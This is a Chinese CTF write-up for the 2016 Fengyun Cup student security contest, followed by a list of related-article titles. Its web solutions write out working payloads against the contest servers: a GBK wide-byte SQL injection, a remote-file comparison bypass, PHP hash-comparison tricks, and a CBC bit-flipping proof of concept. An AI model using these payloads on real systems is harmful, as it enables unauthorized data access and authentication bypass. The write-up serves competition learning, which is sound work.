2016风云杯大学生信安大赛 WriteUp
- 2016风云杯大学生信安大赛
- web 01
- web 02
- web 03
- web 04
- web 05
- web 06
- web 08
- web 09
- CRYPTO 01
- misc 01
- misc 02
- misc 03
- misc 06
- apk 01
- apk 03
- apk 04
- re 01
- re 03
- re 04
2016风云杯大学生信安大赛
好吧第二次正式打CTF,虽然这次的题比较简单,而且大部分强队都去打whctf去了,最后10分钟直接从第四掉到第七,也没办法,实力不够,继续练吧,贴个图纪念一下。整体看这次的web还是比较中规中矩的,没有过分的脑洞。自己也犯蠢了,以为web做完了,结果最后才发现web 07
没有做真是哔了狗了。。
web 01
代码如下:
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IsMatch= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IsMatch ){ die('key: '.$key);
}
?>
一个正则匹配
payload如下
http://219.146.15.116/4t56ysgh6h7u/?id=keykeykeykeykeykeykey:/a/aakeya:]
得到最后的flag
web 02
乌云上的一个漏洞,http://www.wooyun.org/bugs/wooyun-2015-0125982。
把multipart/form-data
变换一下大小写,然后把Content-Type
换成随便一个图片格式就行了,没截图,记得flag是这个
KEY{bb9935dc12397882af23rghjwe3820ea2b678}
web 03
代码如下:
<?php
extract($_GET);
if (!empty($dpc))
{
$combination = trim(file_get_contents($filename));
if ($dpc === $combination)
{
echo "<p>Hello:" ." $combination!?</p>";echo "<p>Congratulation.Key is:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
一道简单的审计题,根据file_get_contents可以远程打开文件的特性,在你的vps或是别的什么上放一个1.txt
,内容是1234
,然后就可以了,payload如下:
http://139.129.166.67/gth56u778i8/?filename=http://xxxxxxxxxxxxxxx/1.txt&dpc=1234
web 04
根据提示,要POST一个username
和password
,还要二者的md5值相同,那么最后果断构造如下:
username=240610708&password=QNKCDZO
不对。再试试这个
username[]=240610708&password[]=QNKCDZO
对了,然后提示说不是admin,看看cookie,果断改一下就可以了,一个base64,
所以最后的payload如下图:
web 05
通过备份文件~
看到源码如下:
<?php
$_GET['myid'] = urldecode($_GET['myid']);$flag = 'xxxxxxxxxxxxxxxxx';
if (isset($_GET['name']) and isset($_POST['password'])) {if ($_GET['name'] == $_POST['password'])print 'Your password can not be your name.';else if (sha1($_GET['name']) === sha1($_POST['password'])&($_GET['myid']=='anyun'))die('Flag: '.$flag);elseprint 'sorry!';}
?>
直接用数组绕过就可以了
payload如下:
得到flag
web 06
mysql宽字符注入,没有别的过滤,直接构造联合查询从系统表information_schema
里面爆出表名和列名,这里注意下编码的转换就行了,别的没有什么坑点,该数据库下面有两个表article,flag
,flag
表里有两个字段id,thisisflag
,最后给个payload
http://139.129.166.67/5t5y6huj7j7/index.php?id=1%c0' and 1=2 union select 1,convert(group_concat(thisisflag) using gbk) from flag--+
然后的得到flag
。
web 08
一道CBC字节翻转攻击,给个链接:http://drops.wooyun.org/tips/7828
根据文章写POC,代码如下:
<?php//1234567890abcdef1234567890abcdef1234567890abcdef1234567890auid=9;123123123123$enc = "9pzE4775q38+wGl/FqNMfFM53Ra6wTKAGUykoeioOjKzlajhqgjsPjGiXVvkFF2BwdywFE67ELLaNuU5yS0kjiuETsjG0Jdk4LiwwBst8ig=";$enc = base64_decode($enc);echo "<br>".($enc)."<br>";$enc[47] = chr(ord($enc[47]) ^ ord("9") ^ ord ("1"));echo "<br>".($enc)."<br>"; $c = base64_encode($enc);$d = urlencode($c);echo "Plaintext after attack : <br>$c<br>";echo "Plaintext after attack : <br>$d<br>";
?>
得到如下:
即
9pzE4775q38%2BwGl%2FFqNMfFM53Ra6wTKAGUykoeioOjKzlajhqgjsPjGiXVvkFF2JwdywFE67ELLaNuU5yS0kjiuETsjG0Jdk4LiwwBst8ig%3D
然后修改cookie直接提交,即获得flag
web 09
这道题一开始就跳转到了这里
http://139.129.166.67/sefrgtafgr/index.php?line=&file=a2V5LnR4dA==
出现一堆没用的东西,对file
解码是key.txt,换成index.php
后发现,这里存在任意代码读取,不断修改line的值得到index.php
完整代码如下:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='an_yun_tec'){
$file_list[2]='thisis_key.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
然后审计下构造如下请求:
于是得到flag是KEY{key_anyuntec_co0kies}
。
CRYPTO 01
一道培根加密,
原文是
woUld you prEfeR SausaGes or bacoN wiTH YouR EgG?
换过来变成
aabaa aaaaa baabb aaaab aaaaa aaaba abbba abbab
百度百科里的第一个表,换成答案就是
eatbacon
misc 01
winhex打开得到的JPG图片,在文件exif发现一串可疑字符ZmxhZ3tsdW9fcm9vbX0,加上=base64解码后得到
flag{luo_room}
misc 02
解压后得到jpg图像,从图像的文件结尾后抠出了一个zip压缩包,判断了一下不是伪加密,根据提示银行卡密码,用工具暴力破了一下,得到了文件密码,解压后得到了flag.txt
KEY{luffy_and_jet}
misc 03
解压后得到一张jpg,用winhex看了一下头部 直接得到flag···什么鬼···
misc 06
观察了一下数据包,是ftp传输,有几个包特别显眼如下:
把他们都用winhex抠出来,data3是一个带加密的zip文件,data5说社社会工程学说,很多用户习惯于用一样的密码。试了一下其他几个data中的密码都不对,重新去观察数据包,观察到下图中的包:
得到密码whoami127.0.0.1,尝试解压,成功!得到KEY{351d5ead1ca31ed33deb6f6a3111e117}
apk 01
打开zip文件发现需要密码,立马反应到这是伪加密
为了偷懒把他的加密位用网上的脚本将一改成零即可
apk变成普通的apk后再按正常步骤:
在AndroidManifest.xml
文件中可以发现
//KEY{f2b0590b558a08514e1c497d400d08ba}
apk 03
这哈哈都写出来了,明显是忽悠人的。。。
在FlagActivity
里能看到
int[] arrayOfInt = { 75, 69, 89, 123, 97, 119, 52, 110, 110, 52, 95, 107, 52, 114, 95, 109, 120, 95, 100, 51, 120, 125 };
ascii码转换一下就是答案
KEY{aw4nn4_k4r_mx_d3x}
apk 04
函数有点多,看着有点蛋疼,全都看一遍就好了,其实并不难。
纯分析的话不用写一行代码就能做出这道题,下面我把我分析的步骤都写出来,具体分析步骤如下
在uc
这个class里比较显眼
public static String nj = "XRL}D6hy4yfE7tuF6{";
这个太扎眼了,一眼就能看出来
因为看过前面的函数有印象:
while (true)
{
str = str + c;
i++;
break;
if ((j >= 65) && (j <= 77))
c = (char)(j + 13);
else if ((j >= 110) && (j <= 122))
c = (char)(j - 13);
else if ((j >= 78) && (j <= 90))
c = (char)(j - 13);
else if ((j >= 48) && (j <= 57))
c = (char)(j ^ 0x7);
else
c = (char)(j ^ 0x6);
}
两个大括号反过来了就是因为这里的
else
c = (char)(j ^ 0x6);
else就是除了数字和字母之外的字符
和0x6
异或刚好就把最低位反过来然后括号反过来了
然后调用函数的时候:
uc.bh(cc.encrypt(str1), ca.encrypt(str1), cb.encode(str1));
之后:
public static boolean bh(String paramString1, String paramString2, String paramString3)
{
String str = paramString1 + paramString2 + paramString3;
可见他用了三个函数,但是因为前面分析的括号可知研究第一个加密函数就可以了
public static String encrypt(String paramString)
{
String str = "";
int i = 0;
if (i >= paramString.length())
return str;
int j = paramString.charAt(i);
char c;
if ((j >= 97) && (j <= 109))
c = (char)(j + 13);
while (true)
{
str = str + c;
i++;
break;
if ((j >= 65) && (j <= 77))
c = (char)(j + 13);
else if ((j >= 110) && (j <= 122))
c = (char)(j - 13);
else if ((j >= 78) && (j <= 90))
c = (char)(j - 13);
else if ((j >= 48) && (j <= 57))
c = (char)(j ^ 0x7);
else
c = (char)(j ^ 0x6);
}
}
这个函数的意思一看便懂:上半边字母表和下半边字母表对换
数字的话异或一下,还原出来就是:
XRL}D6hy4yfE7tuF6{ -->
KEY{Q1ul3lsR0ghS1}
re 01
首先通过PEID查看,发现是upx壳,在机脱失败后,直接采取手脱,到达程序入口。
发现本题是简单的字符串比较,并不存在什么难点
得到flag。
re 03
加载进OD观察下,发现没有加壳,需要输入用户名和密码:
两个对于长度有一些限制,用户名可以直接得到
对于密码则采用了异或比较的方式:
写个脚本模拟一下:
得到结果:
McDull@Aun
YuyuMyl@ve!
re 04
用od加载发现有反调试,于是用ida加载进来,观察了一下函数的基本结构。
主体就是简单的for循环,在特定时候调用输出函数,所以我们只要模拟下就行了。
#include"stdio.h"__int8 byte_40336D,byte_40336F,byte_40336E,byte_40336C;int sub_401920()
{return printf("%c%c%c%c",(unsigned __int8)byte_40336D,(unsigned __int8)byte_40336F,(unsigned __int8)byte_40336E,(unsigned __int8)byte_40336C);
}int __cdecl sub_401960(int a1)
{signed int v2; // [sp+0h] [bp-10h]@5signed int v3; // [sp+4h] [bp-Ch]@7signed int v4; // [sp+8h] [bp-8h]@3signed int v5; // [sp+Ch] [bp-4h]@1byte_40336D = *(__int8 *)a1;byte_40336F = *(__int8 *)(a1 + 1);byte_40336E = *(__int8 *)(a1 + 2);byte_40336C = *(__int8 *)(a1 + 3);v5 = 5;do{byte_40336D += v5;byte_40336D ^= 3u;--v5;}while ( v5 );v4 = 4;do{byte_40336F += v4;byte_40336F ^= 4u;--v4;}while ( v4 );v2 = 3;do{byte_40336E += v2;byte_40336E ^= 5u;--v2;}while ( v2 );v3 = 2;do{byte_40336C += v3;byte_40336C ^= 6u;--v3;}while ( v3 );return 0;
}int __cdecl sub_401A70(int a1)
{int result; // eax@1unsigned int l; // [sp+0h] [bp-1Ch]@7unsigned int k; // [sp+4h] [bp-18h]@5unsigned int i; // [sp+8h] [bp-14h]@1char v5; // [sp+Ch] [bp-10h]@9char v6; // [sp+Dh] [bp-Fh]@9char v7; // [sp+Eh] [bp-Eh]@9char v8; // [sp+Fh] [bp-Dh]@9unsigned int j; // [sp+10h] [bp-Ch]@3int v10; // [sp+14h] [bp-8h]@1int v11; // [sp+18h] [bp-4h]@1v10 = 0;v11 = 0;for ( i = 0; i <= 0xFF; ++i ){printf("^");for ( j = 0; j <= 0xFF; ++j ){for ( k = 0; k <= 0xFF; ++k ){for ( l = 0; l <= 0xFF; ++l ){++v10;v5 = j;v6 = i;v7 = l;v8 = k;char arry[4];arry[0]=v5;arry[1]=v6;arry[2]=v7;arry[3]=v8;if ( v10 == a1 ){sub_401960((int)arry);sub_401920();}}}}result = i + 1;}return result;
} int __cdecl main()
{sub_401A70(1147021405);sub_401A70(942305638);sub_401A70(493974365);sub_401A70(942764337);printf("\n不是这里 ..什么也没有 \n");return 0;
}
模拟结果如下,得到答案:
flag:jN_+6Bnp?_rGB;p
2016风云杯大学生信安大赛 WriteUp相关推荐
- 风云杯大学生信安大赛(Web部分题解)
PS:菜鸟一枚,只做出了8题,第8题没思路,好吧,密码学没学好...还是坐等大神们的wp吧. WEB01 http://139.129.166.67/4t56ysgh6h7u/ 答案格式:仅输入{ } ...
- 第四届“蓝帽杯”全国大学生网络安全 技能大赛 Writeup
第四届"蓝帽杯"全国大学生网络安全 技能大赛 Writeup Misc 签到 sudo 熟悉的解密 Web 文件包含绕过 easiestSQLi Soitgoes Misc 签到 ...
- 第九届“中国软件杯”大学生软件设计大赛总决赛落幕
11月3-5日,第九届"中国软件杯"大学生软件设计大赛(以下简称大赛)总决赛在江苏常州圆满举办.经过九年积累,大赛已经吸引包括全部985.211高校在内的千余所院校.数万支团队.二 ...
- 【官方】2023年“中国软件杯”大学生软件设计大赛飞桨小汪赛道基线系统
★★★ 本文源自AlStudio社区精品项目,[点击此处]查看更多精品内容 >>> 一.赛题简介:赋予机器狗感知能力 2023年"中国软件杯"大学生软件设计大赛飞 ...
- “中国软件杯”大学生软件设计大赛百度赛项东部赛区正式启动
当前,生成式AI热潮推动,人工智能正驶入发展快车道,复合型AI人才需求攀升,产教融合持续深化.3月25日,在泉城济南,百度飞桨协同山东大学.济南大学.青岛理工大学,共同举办飞桨院长高峰论坛暨" ...
- 润和软件受邀参展第十一届“中国软件杯”大学生软件设计大赛
"千秋基业,人才为本.强国建设,人才为先"8月16日,由工业和信息化部.教育部和江苏省人民政府共同主办的第十一届"中国软件杯"大学生软件设计大赛(简称" ...
- 实力吸引报名! 第八届“中国软件杯”大学生软件设计大赛课工场出题受热捧...
近日,第八届"中国软件杯"大学生软件设计大赛(简称:大赛) 作品提交阶段结束,共吸引全国大学生(含高职生)提交作品5000余件,彰显了大赛非同寻常的魅力. 值得一提的是,作为本次大 ...
- 课工场“中国软件杯”大学生软件设计大赛表彰大会在京成功举办
8月21日上午,第八届"中国软件杯"大学生软件设计大赛课工场指导老师与课工场代表队表彰大会在北京成功举办.课工场创始人兼总经理肖睿.课工场校企合作总监潘玉贞.课工场航天桥五道口中关 ...
- 第十二届“中国软件杯”大学生软件设计大赛线下集训营·武汉站活动圆满结束...
青春五月,活力四射."中国软件杯"大学生软件设计大赛(简称"大赛")组委会携手中国移动云能力中心走进湖北工业大学开展武汉站线下集训活动. 深入高校 推动校企合作 ...
最新文章
- 数字集成电路的层次关系
- 插值,拟合,逼近的区别理解
- 用Linux虚拟机手工编译安装Apache
- 关于idea修改当前使用的git账户的问题
- bzoj 2121 DP
- dropdownlist ajax联动,asp.net省市三级联动的DropDownList+Ajax的三种框架(aspnet/Jquery/ExtJs)示例...
- jquery 图像滑块_如何使用jQuery构建图像滑块
- 使用TryParse()来执行数值转换
- opencv转单通道python_在OpenCv(Python)中查找单通道图像的目录
- app的证书签名,eclipse的sha1和md5值
- jdk Double类具体实现
- 基于51单片机三路温湿度语音LCD1602液晶显示报警
- dcp9030cdn定影_兄弟DCP-9030CDN驱动
- PPT图片虚化效果要怎样实现?
- 字符串函数-unquote()函数
- 《R3Det:Refined Single-Stage Detector with Feature Refinement for Rotating Object》论文笔记
- c# Directshow
- VsCode常用插件和快捷键
- 公司php笔试题实习生2018,2018 新浪校招 PHP 实习生 电话面试总结
- 论文解读:A content-based recommender system for computer science publications
热门文章
- html阅读小红书,小红书排名怎么刷:以下HTML5页面大纲开始!
- 卓有成效的程序员---自动化
- c语言while break用法举例,c语言中continue和break的用法
- 计算机图形学中消隐的相关概念及算法
- 基于局域网IP的考勤系统设计与实现
- Spark读取Hdfs上的数据存储在Hbase的ETL过程
- android邮箱附件传输,Android上发送带附件的邮件
- pod install报错 CDN: trunk Repo update failed...couldnt connect to server
- 图片如何缩小到100k?怎么把图片压缩到指定大小?
- 魔幻绘画风之不死魔女-张聪-专题视频课程